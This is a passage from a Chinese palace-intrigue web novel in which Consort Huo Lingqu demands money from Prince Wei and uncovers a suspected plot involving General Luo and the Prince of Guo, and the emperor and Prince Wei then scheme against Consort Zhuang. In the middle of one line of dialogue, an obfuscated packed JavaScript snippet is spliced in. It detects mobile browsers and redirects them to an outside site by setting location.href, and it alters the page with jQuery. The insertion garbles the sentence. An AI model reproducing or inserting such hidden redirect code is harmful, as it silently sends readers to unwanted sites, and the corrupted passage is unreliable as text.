“肯定不会的啦。”一道懒慢的男音接话,姑嫂俩转过头,瞧见多出来两个姓霍的,还是刚回京的霍氏族人,霍舒窈没大没小责问:“你们不会连霍家都没回过吧?” “是你叔公非得拽着我。”黑黢黢的霍秉坚爽快推卸,六十二岁的霍绥业略带哀怨:“你叔公我苦啊,我一直自信我是霍家最冷酷无情的人,可你爹哥俩忒混蛋,就不能挨到我死后再处置吗?害得叔公我这些天寝食难安,不亲自来看两眼就不能安心。” “这还不容易,叔公您把坚叔逐出家门就行了。”霍舒窈坏笑支招,霍绥业抬手轻拍下侄孙女,转而正经关注被关在牢里的那几位,越看,他老脸愈阴翳。 “假若霍家再给个机会,佟振羽兄妹会痛改前非感恩家族吗?”萧灼灼弱弱重提,三个姓霍的同时看向她,霍绥业笑着踢回:“县主心里不是有答案么。” 是啊,否则萧灼灼怎会改辞令,甚至于她的疑问只不过想有人给她增强信心。萧灼灼沉默片刻,抬眸看向被铁牢挡着的那几位,是的,见到佟蓁蓁之后,她信不了佟蓁蓁还会念着霍家对她的好,这对兄妹若是连让别人相信他们都做不到,谁还肯信他们。 “走吧?”霍绥业没兴趣再看,没人有异议,他带小辈们离开京兆大狱。 他们离去后没隔多久,一刻多钟吧,娉姨娘和霍鸳娇姐弟也没多留,看过佟氏娘仨倒霉落魄的鬼样子又狠狠嘲笑奚落过后谁还看疯子发病啊,心满意足地走了。 距离京兆府最近能将监狱前的景观尽收眼底的一座高楼上,有人看得也还满意,霍绥业和霍鸳娇几人前后进出京兆府大狱都被他看在眼中了,或者说他就是随霍家人过来观摩的,此人面貌四十多岁,两鬓有银丝,羽扇纶巾,嘴角挂着饶有兴味的笑意。 只是他没想到他也被暗中监视了,在相隔十数丈远的酒楼二楼上,行知远眺打量后问:“这位就是昌隆侯派进京的幕僚,他应该不是昌隆侯座下那位第一幕僚吧?” 从七八年前起,昌隆侯大肆延揽门客幕僚,此后常年豢养着五六十名门客。他还将众门客划做两档,第一档,门客群中本事出众的十人,待遇甚好,他也只任用这十人。第二档,没挤进前十的,待遇很一般,长久没什么贡献还会被逐出朱家。 不过两档间的人员不是固定而是流动的,昌隆侯给门客定的规则就是:在十名外的幕僚若是赢过排前十的哪位则直接取代,因此他座下幕僚间的竞争相当激烈。 前两年,昌隆侯座下原来占据第一的幕僚被替下,但新上来的那位一直很神秘。 “传闻他那位第一幕僚从来没在人前现过身,你见过?”霍枫叶反问。 “猜的,直觉。”行知站了会儿,走去旁边的玫瑰椅坐,执起茶壶倒两杯茶,端起杯茶刚浅啜两口茶水,做小厮打扮的护卫揣着朵含苞待放的荷花送来给他。 “晏霁之约我见面。”霍枫叶还没什么表示,行知主动道:“晏霁之以花做信号,不管送什么花来,他送朵花过来就是要约见面,我方便时再派人去问时间地点。” 霍枫叶:“哦。” 然后就没有然后了,他们两个各自散场,只能说这俩人都很能正经,若是晏霁之在场,晏霁之好歹能愿意反打趣霍枫叶:要不你今后用枫叶来做信号?哪怕晏霁之心情不美妙时,眼下晏霁之的心情就不大美好,约见行知也不是他的意思,是霍灵渠要见。 这位霍贵妃还闹着要去魏王府打秋风——向魏王白拿十万银两。 “是你把家里给你送的银两用完了呢还是霍家养不起你了,用得着你向魏王伸手吗?”霍漓江对于女儿想向魏王打秋风很有意见:“何况还有皇帝。” 晏霁之着重咳嗽以示存在感,霍漓江无语地加上:“还有你这个前情郎。” 霍灵渠答曰:“我找魏王拿银两自然有我的原因,爹爹你就不要问了嘛。” “什么原因不能告诉你爹和你祖父包括你这个前情郎?”霍漓江理所当然再追究。 霍灵渠沉默是金,霍漓江谴责:“这关系到霍家还有皇帝的脸面,你向魏王拿银两想打谁的脸呢你?”引得霍灵渠干脆放话:“爹爹你送我进魏王府,你们就走吧。” 晏霁之瞟瞟她,心里冷哼,流光多温柔啊,做回霍灵渠之后果然脾气见涨。 霍漓江恭维:“希望魏王府在你白拿走他们十万两银票之后还能愿意给你备车马送你回霍家,要不然你就等着走回来吧,不用指望霍家会派马车来接你。” “哼!”霍灵渠昂首傲娇,晏霁之瞧她这娇蛮样儿真是想戳戳她。 来到魏王府前,霍漓江把贵妃女儿顺利送进魏王府大门后,痛快走人。 霍灵渠随引路的婢女来到魏王府前院的客堂,稍坐会儿,魏王没来反而是魏王妃来了,想她进府时还特意交代过她是有要事找魏王,不必惊动魏王妃了,唉。 “不知贵妃娘娘驾临,有失远迎,还望贵妃莫怪。”魏王妃率仆婢匆匆赶来前厅,见真是霍贵妃还是独自前来的霍贵妃,按住心里的猜疑,满面笑意地迎上前赔不是。 “是我来得唐突,搅扰王妃了才是。”霍灵渠站起来寒暄,魏王妃笑意可亲,体贴道:“贵妃娘娘是来看大皇子的吧,陛下和皇后娘娘还有小半个时辰才会到,大皇子用了午膳,这会儿在小憩,不如您也先歇会儿,待会儿再陪陛下和皇后看望大皇子?” 奉茶的婢女们进屋来给自家王妃和霍贵妃奉上茶点鲜果后自觉退避,这一打岔,霍灵渠和魏王妃便各自落座,魏王妃来到主位坐,霍灵渠讶异:“陛下和皇后待会儿要来魏王府?这我真不知,我也不是来看大皇子的,我是来找魏王,王爷他在吗?” 魏王妃抬手掩唇若被吓跳:“贵妃娘娘您,莫非您出宫来,陛下不知情吗?” 霍灵渠平静应嗯,再问魏王何在?魏王妃的担忧写进眉眼间,自然而然规劝:“贵妃,您瞒着陛下出宫实在不妥,您独自在外也恐有危险,还是早些回宫去吧。” “本宫有数,王妃不必忧虑,但本宫此来是有事找魏王,还请王妃派人去请魏王回来。”霍灵渠怎会看不懂人家是故意无视她的诉求,但眼下她是真没闲情跟魏王妃周旋。 “贵妃若有事找我们王爷,派人来传话就是了,怎能劳您亲自前来?”魏王妃不赞同,但就是稳稳当当坐定着,既没告知魏王何在也没打发人去请魏王的意思。 “此事,若是王妃愿意做主,不必魏王回来也没什么。”这么想知道,霍灵渠就告诉她:“我要向魏王府拿十万银两,若是王妃愿意现在就把银票给我,我就不等魏王了。” 拿?如此鲜明直白的拿字还有可能是口误吗?魏王妃只当霍贵妃一时情急失了方寸:“娘娘是在珍宝铺瞧中什么珍奇古玩了吧,您不必急的,高价的珍品不容易遇到买主,您只管回宫去取银两,您若是不放心,大可让霍家派人过去打声招呼。” “我不急,我也没看中什么珍品古董要买,我就是来向魏王府拿银两,白拿银两。你可以把我看成是来打秋风的,你也可以把我看成是来抢钱的,反正你只管把银两给我就是了,你不愿意做这个主就让魏王来。”霍灵渠真嫌烦了,懒得跟她打机锋。 这心安理得的,萧灼灼看了得哭啊,打秋风若是都能这么找打的打,她岂不是一天就能在京畿筹到五十万两白银吗?她还用得着累死累活折腾几年都还没把债还清吗? 祝愿霍贵妃不会被魏王府打出去! 魏王府自然是不可能把霍贵妃打出去,但魏王妃的笑脸也维持不住了,连魏王妃身边的丫鬟婆子都觉得霍贵妃欺负人,这摆明就是故意来折辱魏王府。 “贵妃要的数目太大,臣妇必须和王爷商量过才能决定是否出借。陛下和皇后娘娘不多时就要驾临魏王府,臣妇在府中还有得要忙,还请贵妃见谅,臣妇少陪了。” “好,王妃忙去吧。”霍灵渠顺着台阶让她走,魏王妃颔首告退,她这点伎俩自是彼此都明了,但就算免不掉要被霍家敲诈,她眼下也必须咬死了,霍贵妃是来借钱。 魏王妃率仆婢们走到二门前,丫鬟追来禀告:王爷回府了,她赶忙转道去前院见丈夫,把陛下和皇后要来看大皇子和霍贵妃来要银两的事一一说了。 “白拿十万银两?”魏王再确认遍:“贵妃明确说了是白拿吗?” “是呀。”魏王妃脸色仍不好,任谁被这么打上门来欺辱都不可能心情好,魏王沉吟道:“以霍家当前的处境不可能来魏王府寻衅滋事,王妃回后院吧,本王会处理的。” 王妃走后,魏王够意思的取来十万两银票再去前厅,来到花厅前,看见她津津有味吃着柰果真是没气都能被她气出来,她能不能有一点她很可能会被轰出去的自觉。 把在花厅伺候和守在屋外的婢女全部屏退,魏王走到来打秋风的女人面前把银票甩下:“十万两,够买个你来故意欺辱魏王府的缘由吧?” 被打断思绪的霍灵渠慢半拍抬起头,怔下,放掉柰果,拿过银票清点。 魏王看着就差没觉得是被侮辱了:“我还不至于少给你。” “我有数钱的习惯好吧,好像你不知道似的。”霍灵渠反斥,魏王那叫一个理直气壮啊:“我是不知道,我更猜不出你跑来欺辱魏王府是个什么意思?” “什么做叫你不知道我有数钱的习惯,我又不是不清楚你知不知我看到钱财都会数过,你犯得着在我面前睁眼说瞎话吗?”霍灵渠计较道:“你想故意对我挑刺才是吧。” “我闲得慌啊,还故意对你挑刺?你看到银两都要数过,笑话,你自幼在霍家享尽娇惯还能养出这种市侩的毛病,你不觉得——”好笑?魏王脑抽抽想起来她好像是有这德行,她祖父财迷就给她养出这种毛病了,郁闷略过,问她要十万银两是什么意思? 霍灵渠反瞪之,魏王头疼道:“我刚才忘记了,都多少年了,我会忘记也正常吧。” “六哥哥明日回京,我想给六哥哥二十万两银票让他给北境的将士们添身过冬的棉衣,你我各出十万两,我不得来找你拿银票啊。”霍灵渠数过银票,把银票收起来。 “你可以来衙门找我。”魏王被噎得不上不下的,没好气甩袍,在她旁边坐下。 “我来魏王府都要被你媳妇针对,我若是去衙门找你还能得了吗?”霍灵渠语气不善,魏王见状利落地转移话题:“这才刚入夏,你让他去备冬衣,你正常吗?” “冬衣当然是过冬时再准备,可我又不知道我今年还能不能再见到六哥哥,自然是我想到什么就把事情交代给他。”霍灵渠理所当然说,魏王较劲似的挑刺:“你大张旗鼓来魏王府白拿银票,你指望能瞒得住嬴忱璧吗?你以为嬴忱璧会让你拿我的银两吗?” “当然他若知晓原委肯定同意,但你会把原因告诉他吗?我保管你连对霍家都没说,你还能搪塞得了嬴忱璧吗?”魏王水到渠成总结:“你想要银两就该让我进宫趟给你送过去,既然你出宫来,你就不该再想向我拿银两,这事还是算了吧。” “我要亲自准备些衣食交给行知让他转交六哥哥,既然我都出宫来了,我自然顺道来找你拿银两。”反正这件事,她的做法绝对没错,霍灵渠振振有词谴责:“我看是你就根本不想出这笔银两,你就不能有一点忏悔之心吗?我们是在赎罪!” 魏王抬抬眼皮,不咸不淡告诫:“我懒得再跟你吵而已,别得寸进尺。” 霍灵渠也告诉自己别跟他吵,指着柰果问:“这果子从哪采买的,你晓得吗?” “罗将军从蒲州采买的,他母亲喜食柰果,前两年我在他府上尝了几块,觉得还不错,他便每年送两车过来。”魏王随意道:“你若是也喜欢,让人给你装两篮送去霍家。” “罗将军?”霍灵渠在脑海中搜索下问:“罗方渡将军吗?” “嗯。”魏王自个儿倒杯茶喝,霍灵渠犹疑:“特意从蒲州采买柰果?” “他侍母至孝是出了名的,去蒲州采买柰果而已,不算什么事。” 霍灵渠蹙眉:“他入你麾下有十年了吧,当年在北境,你就是想把他推上位?” “你不要让我觉得你其实是来跟我翻旧账的。”魏王就越看她越来者不善。 “我跟你说正事,你有没有怀疑过罗方渡对你是假意投诚?”霍灵渠神情发沉,魏王浑然当耳旁风:“你从哪儿得的消息说他对我有二心?” 霍灵渠指着柰果说:“从这柰果得的消息,刚起的疑心。” 魏王从果盘里拿只柰果来瞧两眼,配合问:“这果子有什么问题?” “这是虢王府 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459311|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在蒲州庄上产出的柰果。”霍灵渠指出。 “我建议你改成代王府或许还有可能能让我起疑。”魏王表示,霍灵渠不可思议看他,魏王实在道:“你我之间有那么多信任吗?我完全能怀疑你是来挑拨离间的吧。” “章醇郡主前些年在蒲州养病,一住两年半,我代表护国公世子去探病,既没见过虢王妃也没见过章醇郡主,就拿柰果了,章醇郡主喜食柰果,虢王府在蒲州的山庄里有专门的柰果园,果园管事还跟我夸过说他们庄上的柰果是全蒲州城最好的柰果。” 霍灵渠神情肃穆甚至有些凛冽:“我每回去探病,他们都给我两车柰果让我带回北境。我把蒲州城里各果摊果铺的柰果都买来尝过,真是他们家的柰果味儿最好。 你尽管派人去把蒲州城内各家商贩卖的柰果全都搜罗来,再派人去虢王府的山庄里摘一篮柰果来比一比,罗将军给你送来的柰果到底是不是能用银两买到的?” 魏王定定注视她半响,低眸扫视遍手中的柰果,把这只柰果扔果盘里,没再争论罗方渡是否可疑,就说虢王:“虢王犯得着这么处心积虑吗?他又不是代王。” 霍灵渠冷嗤:“你祖父的十二弟不就造反过,你还想规定人家不能有野心吗?” “你要举例好歹举个有可比性的吧。”魏王莫名烦躁:“你举例的那位是我祖父的弟弟,现任虢王是什么,太上皇的堂弟,他肖想皇位不是脑子有病吗?” “蒲州在尧舜时期可是天下之中。”霍灵渠好笑讽刺,魏王揉揉眉头,反而都冷静了:“你若是非得这么锱铢必较,你眼中还能有好人吗?” “五六年前你很值得旁人忌惮吗,朝中有多少人家肖想北境,何以五年前就你在台前,居然都没人跳出来跟你争?”霍灵渠也是刚想到这症结,越想越觉得不对劲。 魏王一怔,神情慢慢的终于变了,霍灵渠再添把火:“现任虢王是先虢王的继室所出,袭爵时还不到弱冠,他嫡长兄在先虢王死前就莫名其妙的没了,对吧?” “就算是虢王害死了他嫡兄,跟他敢肖想皇位到底还有天壤之别。”魏王靠在椅背里,没点松动是不可能的,但也不可能因此就大肆怀疑,至少绝不可能痛快相信。 “野心是可以养出来的,昌隆侯姓朱不照样有野心吗?”霍灵渠顺其自然接。 “昌隆侯是——”圣人惯的,魏王想说昌隆侯情况不同时念起件事,圣人惯的四字死死卡在喉咙里,脸色瞬间难看:“虢王世子妃是昌隆侯的嫡女?” “嗯。”霍灵渠应时未觉,嗯过后才意识到当中问题,看向魏王,魏王一掌拍在高几上,怒得眼睛都像在喷火,霍灵渠敛目道:“你好好查一查吧。” “我知道!”魏王眼底阴沉尽显,霍灵渠从速决定道:“你给我安排三十名护卫假扮成山匪去蒲州虢王府的——”话未尽被魏王打断:“你找霍家要人吧,我不做这种事。” 霍灵渠嫌矫情:“我是让你的护卫假扮成山匪,我又不是让你假扮山匪。” 魏王闻言当然送她三个字:“你废话!” 霍灵渠闭闭眼睛,毫不客气地凶:“你到底借不借护卫?” 魏王痛快利落地拒:“不借!” 霍灵渠闭闭气捏拳头,吵崩了懒得再待着:“给我备马车,我回霍家了。” “嬴忱璧很快就要到了。”魏王提示,霍灵渠反呛:“关我什么事?” 魏王干脆走人,过会儿返回花厅通知她,可以走了。不得不说,魏王对霍灵渠真挺好,或许就印证了那句越是细微处越能彰显吧,倘若这会儿是其他人,不管是皇后还是皇太后,魏王都不可能再亲自折返趟,而他折返这趟显然跟霍家的煊赫权势没关系。 或许,这就是魏王妃下意识会排斥霍贵妃的根由吧。 相隔一刻多钟,霍灵渠和霍海啸先后回到霍家。 午后的阳光散进茂密的树叶缝隙凝成熏人醉的暖,树荫下,石桌前,霍灵渠在做针线,晏霁之在赏景。霍海啸走进祖父的院里,刚来到石桌前坐,还没说话,晏霁之不阴不阳道:“不是给我缝制衣裳,给她在北境的少年郎未婚夫准备的。” 霍灵渠抬眸横他:“你不让桑柔和小祐过来,我不是都依着你了吗?” 在饮醋的男人当这是至少的补偿,她依着他是应该的,晏霁之不理她,找霍海啸搭腔:“你这是打哪儿回来呀,这时辰回霍家?” 霍海啸比出两根手指:“我今天撞运了,连着赶上两颗痴情种。” 晏霁之讶然:“侯瞻渥又出京了?距离上次还不到十天呢。” “是啊,不到十天居然能被我逮住两回。”霍海啸讥讽:“我刚送去太微宫回来,我还真差点就想找座地窖塞进去算了,武襄侯夫妇有本事就来霍家赎人。” 霍灵渠淡定做针线,晏霁之拿茶壶倒杯茶递给他:“来,喝杯茶消消气,犯不着为这种事生气。”再猜:“第二颗情种是你媳妇的娘家堂弟,还想求娶佟妙兮?” “呵!”霍海啸抄起茶碗仰头饮尽,冷笑道:“看来房祯毅这点心思还真不是秘密,他闹着端午要请冰人去佟家提亲,我岳父他们跟他费尽唇舌,他全当耳旁风。 就看佟二姑娘可怜,他要怜香惜玉,更是暗讽祖父大伯等人刻薄,尽把人往坏处想,圣贤还说知错能改、善莫大焉,怎么就不能相信佟家会改好?还不是嫌佟家变成平民了。房家这几天闹得鸡飞狗跳,我小舅子只好来跟我打声招呼。” “又不是你媳妇的亲弟,一个堂弟而已,犯不着生气。”晏霁之劝,霍海啸偏愈发火大:“他把我霍家当什么,这亲戚还做不做了?” 晏霁之失笑:“你这不是瞎钻牛角尖吗,你没看见人家连家族至亲都没在意呢。” 霍海啸一拳头砸在石桌上:“全是给惯的,我偏要看看他能有多少深情?” “大哥,你回府时有晏家的消息吗?”霍灵渠若有所思,两个男人未解其意地看向她,霍灵渠解释道:“我在想,虽然把佟家掌控住了,还有钟姨娘在京畿呢。佟家今日搬出御赐的尚书府,钟姨娘和她婶婶应该会想要去晏家找佟梦娴吧? 佟老太太不是想过把她的娘家侄孙女塞给霁之吗?钟姨娘和钟家人不可能会不清楚吧,我不觉得钟姨娘和钟家会放过此事,哪怕他们眼下见不到佟梦娴,但他们总不会认为他们会永远见不到佟梦娴,他们自觉当然是把佟梦娴捏在手心里呀。 那么,他们只要回滁州接个钟氏女过来,甚至不必回滁州,京畿有现成的钟氏女呢,钟家只要推个钟氏女出来,他们当然会自觉接下来的事态仍然捏在他们手心里。” 晏霁之一掌拍在石桌,嫌恶道:“我还真是把钟姨娘这伙人给忽略掉了,全然没想过,这伙人还能翻出点水花来恶心我。” “不是理智想消气就能消气的吧。”霍海啸回敬他杯茶,晏霁之端起茶碗一饮而尽,说:“娶妻娶贤,娶错妇祸害三代,我算是彻底领悟了,不是娶错妇后家族会管控不住,而是这妇人背后还有她的娘家亲友能搞出数不尽的腌臜事来恶心你。” “我是没那么好耐心的。”所以,在这类事情上,霍海啸完全能尽情站在高处俯视他,晏霁之敬谢不敏啊:“知道你们霍家人冷血,算我找错人共鸣了。” 霍灵渠改好衣裳,起身离开,赶去小厨房做糕点。 晏霁之看她这火急火燎劲儿就不舒服:“你三叔公和霍秉坚到了,在和你祖父说话,你妹妹跟他们都还没碰过面,忙着给她的少年郎改衣裳备吃食,没闲暇见族人。” “你就不嫌酸吗?”霍海啸嫌他,晏霁之冷哼:“不酸!” 霍海啸差点想给他个白眼,拿起茶壶倒两碗茶,谈点正事:“臧芣缄进京了,为原家的变故连夜赶回来的,我送侯瞻渥去太微宫时我爹和丞相他们都被太上皇传召过去了。瞧着,太上皇在臧芣缄禀告他之前是真没收到过消息,原家这阵仗不小。” “当自家穷途末路能拉几个陪葬的是几个来算,阵仗想小也小不了啊。”晏霁之话落,一对男女走进视野,这俩人来到树荫下,霍海啸喊小姑、小姑父,晏霁之喊小叔小婶。 霍擎有两个女儿,庶女嫁的就是晏墉最小的庶弟,门当户对再是般配不过。 “没想到两家近来出了这么多事。”霍玉簪柳叶眉芙蓉面,比大侄儿霍海啸还小两岁,通身洋溢着温柔娴静,眼底止不住的难受心疼:“大哥的信送来,我都不敢相信,灵渠,这孩子宁可自己漂泊在外受那么多苦,灵渠,灵渠可还好吗?” “贵妃心性豁达通透,小姑不必太忧心。”霍海啸回复,霍玉簪愣下笑起来:“是啊,已经是贵妃娘娘了,会苦尽甘来的,贵妃今后定会苦尽甘来福泽绵长。” “三叔公和坚叔也到了,在书房和祖父说话。”霍海啸再知会,霍玉簪应好,晏坻道:“霁之,我们出英王府时遇上钟姨娘带着几个钟家人过来,想要见佟太太。” 晏坻比媳妇大四岁,比起晏霁之倒是有大好几岁,但晏墉还有庶长女庶长子在前呀,大家族中最小的庶出与长兄最大的孩儿年纪相仿乃至还要小几岁都是常态。 晏霁之眼底一冷:“我知道了,谢小叔。” 晏坻叹息:“好,你们说话吧,我们去给老太爷请个安。” 这小叔小婶走出视野,晏霁之忽然感慨:“站在皇帝和太上皇的立场,其实很能理解他们想打压权贵想要打破世家豪族的桎梏。你瞧瞧,大家族间单是姻亲就如此盘根错节,以致于今朝原家以必死的决心来对太上皇发难都能令太上皇忧惧。” “可你若告诉他,我们两家真心想退,他会相信吗,你又敢放心相信他愿意让我们在他手中退掉吗?”霍海啸摇头:“湘王的性情是霍家想退最好的昭示,可他只会怀疑是霍家想把湘王当傀儡摆布,枉姓霍的养育他二十多年,他根本不懂霍家。” 晏霁之沉默下应:“灵渠也察觉到了,过往许多年,他心里都在排斥霍家。” 霍海啸很平静,没有气愤,就觉得好笑,那么好笑:“你说多讽刺吧,灵儿进宫还不到两个月都能觉察出他对霍家怀有恶意偏见,霍家怎么敢相信他?” 晏霁之静默会儿抬头,看着眼前茂密的枝丫,想千百年的大树该是何等遮天蔽日。 120. 第120章 正徽帝嬴忱璧携皇后郭氏驾临魏王府,众人在府前接驾,唯独没有大皇子的身影。 “大皇子抱恙不能前来恭迎陛下、皇后,臣没有照料好大皇子,还望陛下降罪。” “皇兄言重了,小孩家,不值当什么事。”嬴忱璧大步流星往府里走,走过照壁交代:“皇后随皇嫂去看皇儿吧,朕和皇兄还有要事相谈,过会儿再去看皇儿。” 郭皇后在人前的举止还算得体,应声告退,带着魏王妃和宫人们往内院去。 还留着随侍皇帝的宫人们,嬴忱璧让他们不必跟着了,他和魏王就两人走走。 走过段路,周围没有眼睛盯着时,嬴忱璧塞张纸条给这皇兄,魏王展开纸条一看,不由得挑挑眉,纸条上写着:放个圣人的眼线过来。 魏王看眼这弟弟,走开去安排,嬴忱璧独行至魏王府前院的花园坐坐。 丫鬟们来园中奉过热茶和糕点水果后退下,魏王随后来到湖边凉亭,茶还没端起喝口,嬴忱璧就问:“贵妃刚来过魏王府向皇兄借了笔十万两的银两,是也?” 魏王端起茶盏抿口,纠错道:“不是借,是拿,白拿,陛下有疑虑和贵妃谈吧。” 嬴忱璧笑:“贵妃要向皇兄白拿十万银两难道还能不告诉皇兄缘由吗?” “霍贵妃很有担当,既然是她要来白拿银两,她一人做事一人当。”魏王当然不想出这种冤大头的银两,完全是被逼着,这时候不给那女人挖坑简直对不起自己。 嬴忱璧神情微微微妙地瞟向魏王,很快会儿想,行吧,这事就暂且略过吧。 “原小将军要进京来,皇兄收到消息了吧?” “护国公给我送信了。”魏王有点讶异的是:“臧芣缄连夜从潼关赶回京?” “嗯,今早辰时到的太微宫,应该就是为北境的变故特意赶回来的。”嬴忱璧肯定猜,魏王冷不丁问:“你为什么要让他死,他想封狼居胥碍着你了吗?” 这仿佛是个禁忌话题,凉亭中的氛围急速阴冷下来,但这也算是个禁忌话题吧,俩兄弟之间再心知肚明,到底也还是从未涉及过前世的话题。 嬴忱璧神情莫测地看向这位四皇兄,魏王嗤笑:“五年了,竟然直到昨日才知那是蜀王母族的传世宝物,蜀王变化如此之大,你相信这三哥和你我会不一样吗?” 沉默下,嬴忱璧反问:“那么四哥相信这世间会有长生不老吗?” 魏王很坦率:“不知道,但曾经的机遇不会再有第二回了,蜀王还能再便宜外人吗?我相信他这点本事肯定有,否则你我也不至于各自找了五年都没有找到宝物的下落。” 嬴忱璧抿唇不语,魏王笑了:“怎么,怕来个第三世动摇你的皇位啊?” 皇帝摇头:“前几年国师曾私底下给我送过四个字,宝物已碎。” “已碎?”魏王扬眉,不是不能理解:“这是扭转乾坤重塑光阴的代价,天底下是没有那么便宜的好事,不过——”魏王似笑非笑调侃:“原来国师早向你投诚了?” “没有,只是送了四个字而已,何况他背着血海深仇。”皇帝嬴忱璧担忧道:“你相信他是为荣华富贵才留在父皇身边而不是想伺机报仇吗?父皇留着他太危险了。” 魏王真懒得看:“你想扮孝子该去太微宫演,不用在我面前装。” 嬴忱璧无奈:“皇兄!” “笑话!”魏王讽刺打断:“在他那里绝对没有你我的活路,你连这一点都没数吗?你想孝顺老爹还不容易么,你干脆痛快去死啊,你做不到还惺惺作态个什么劲儿?” 凉亭中霎时陷入死寂,这是再实在不过的实在话,对于想害死你的父亲,你再关心他还不嫌假吗?可人对于父亲的情感又哪儿有那么容易非黑即白的离断,至少嬴忱璧做不到,没有老国丈告诉他的往事也不影响,日常,他就是还是会关心父亲。 “父皇有个同母妹妹,皇兄还记得吧?” 魏王应记得啊,嬴忱璧嗯声略过:“老国丈今日和朕谈起,当年父皇赐死——” “你忘了是吧?”魏王一瞧他这德行就猜到了,嬴忱璧愣下绝不承认:“没头没脑的,皇兄说什么呢?”然后被完整告知:“你忘了父皇还有个同母妹妹,是吧?” “……”魏王什么时候这么懂他了,嬴忱璧坚决否认:“朕没忘。” “你没忘就不会问了,你没忘,你会傲娇炫耀而且是略带着斥责说,皇兄,朕怎么会连父皇有个同母妹妹都忘记?”刚吃过忘性的瘪的魏王可劲反鄙视,嬴忱璧:“……” 皇帝他决定略过:“老国丈和朕谈起,父皇当年赐死嬴丹若也有出于对皇兄你和大哥遗孤的疼爱,嬴丹若太过狂妄,贬做平民根本震不住她,那么你们就很危险了。” 魏王回:“哦?” 嬴忱璧叹气:“父皇当年捧废楚王的初衷也许只是想捧个三足鼎立之势。” 魏王再回个哦字,嬴忱璧于是详备说道:“任皇后生前凤位稳固,是任皇后自己看不懂父皇的用意;十七年前父皇捧废楚王的初衷也只是想在前朝捧个三足鼎立之势,父皇对废楚王兄妹没什么疼爱,最终酿致大哥悲壮自刎很可能是因为大哥触动了父皇的心魔。” 嬴忱璧再把足以佐证的事例说一遍,魏王面色沉沉地注视这个弟弟好一会儿,侧过头,嗤笑声自嘲:“又如何,他想长生不老想疯了,早几年,晚几年,都一样。” “但他应该真的疼爱过我们。”嬴忱璧略有苦涩低眸:“比我们以为的疼爱我们。” “又能怎样?!”魏王骤然发火:“当他把刀架在你我脖子上时,你试试你去要父爱,你看他能给你我一条生路吗?你可别忘了,现下看来,我们还欠着蜀王一个大人情。 若不是蜀王出头了,五年前他会选择禅位而非暗害你我吗?都五年了,他还有多少耐心做这个太上皇,朝廷收拾完昌隆侯也就差不多了。” 嬴忱璧未语,端起茶盏将茶水慢饮而尽,问:“眼线应该放进来了吧?” “还没放进来也快了,你想开始就开始吧。”魏王随意倒碗杏仁奶酪,嬴忱璧环视圈,站起来往凉亭外走,走过回廊来到湖岸边,瞥见那兄弟还慢悠悠坐着,还是喝杏仁奶酪,真想呛一句你几岁了? 他就记得老四老六老八都有这种臭毛病,都是被惯的! 魏王终于踱步到湖岸边,嬴忱璧转身,说变脸就变脸,一脸凝重兼手足情深:“皇兄,”就这声皇兄喊得魏王差点起鸡皮疙瘩,这弟弟确实比他能装,换他可受不了这么恶心的腔调,只见嬴忱璧装腔作势道:“朕收到消息,庄太妃新出了个极其阴狠的招数。 她打探不到昨日太微宫发生了什么便想运作让父皇收到消息,指你我在向群臣毁谤父皇说父皇想求长生,可我们若向父皇辩白唯恐会越描越黑,此举堪比杀人诛心啊。” “你消息确凿吗?”魏王惊诧之余仍有几许怀疑:“我们和父皇之间不管闹成什么样,这点信任至少肯定还有,父皇绝不可能会去相信我们行事会那么下作的谣传。庄太妃好歹是个聪明人,没得那么糊涂吧,她若是编造这种谣言岂不是自寻死路吗?” “长脑子的都知道我送大皇子来魏王府小住就是个送给她的陷阱,她自己不清楚吗,可她有收手吗?她明知是个陷阱不还是照样志得意满地要在魏王府推行她的计划,你瞧着她是把你我当做傻瓜白痴还是当做废物?”嬴忱璧冷嗤反问。 魏王装得一怔,喃喃念起:“父皇禅位以来,庄太妃是越来越多自得,更是从没把你我看在眼里过,可她总不至于认为无论她传什么消息都能令父皇相信吧?” “或许庄太妃就是已经兴奋得没长脑了。”嬴忱璧狠厉道:“你想想,按她的想法,她令你我结成死仇,她还急不可耐地要害死贵妃,若贵妃出事,霍家必将在朝堂掀起腥风血雨,昌隆侯趁着护国公回京拿下北境,他们再拿下霍家,朝堂要变天了!” 魏王眼神微变,过会儿抬眸幽幽问:“你想…送她上路?” 嬴忱璧闭闭眼甩袖默认:“这些年在后宫兴风作浪,朕忍得也是够了。” “咱爹能放任吗?”魏王憋闷得都气馁了:“父皇对她多有情份啊,我哥当年豁出命去都没能钉死她,我都怀疑其实她才是父皇最爱的女人,她这么张狂难道是因她智计百出吗,当然是因为父皇纵容她,犯不着,只因她就伤了我们和父皇的父子情吧。” “那就把人监禁起来。”嬴忱璧看着魏王意味深长道:“后日,大皇子会受重伤。” 魏王弯弯唇,莞尔道:“陛下放心,后日,大皇子必会在魏王府受重伤。” 事情谈完,他们闲侃着走掉,行至半路被下人追来禀告:太上皇将驾临魏王府。 兄弟俩相视一眼,魏王把下人打发掉,意外道:“这是为原家的事来的,是臧芣缄给他危言耸听了还是他现在有点杯弓蛇影草木皆兵啊,这都能令他紧张兮兮?” 嬴忱璧倾向于:“也许情况比我们想的严重。” 北疆走私猖獗,众多和契丹做生意的人家相当于就是在护国公府的眼皮底下走私,原家以自家再无生机的决绝来发难,这些走私罪证不管是送给皇帝、这些人家的仇敌还是族中受冷落的子弟都是火药桶,若因此犯众怒被联手针对,原家就拉一家做陪葬。 昌隆侯府朱家! 要么咱们大伙斗个鱼死网破,要么你们支持我和我一起搞死朱家,原家的意图很明确,就是冲着朱家乃至朱家背后的太上皇而来,以昌隆侯府朱家的罪孽还稳稳当当活着可不就是太上皇庇护之故,太上皇还能容忍得了群臣逼着他诛灭昌隆侯府吗? 当然不可能!但,朝堂上还有皇帝在啊,谁叫圣人您老人家自个儿禅位呢,皇帝不想处置昌隆侯府同样是不可能的,众人铁心要将昌隆侯府朱家连根拔起,太上皇您若还硬要保就是逼着群臣倒向皇帝,您若不保则又威严尽失,进退两难就是个死局。 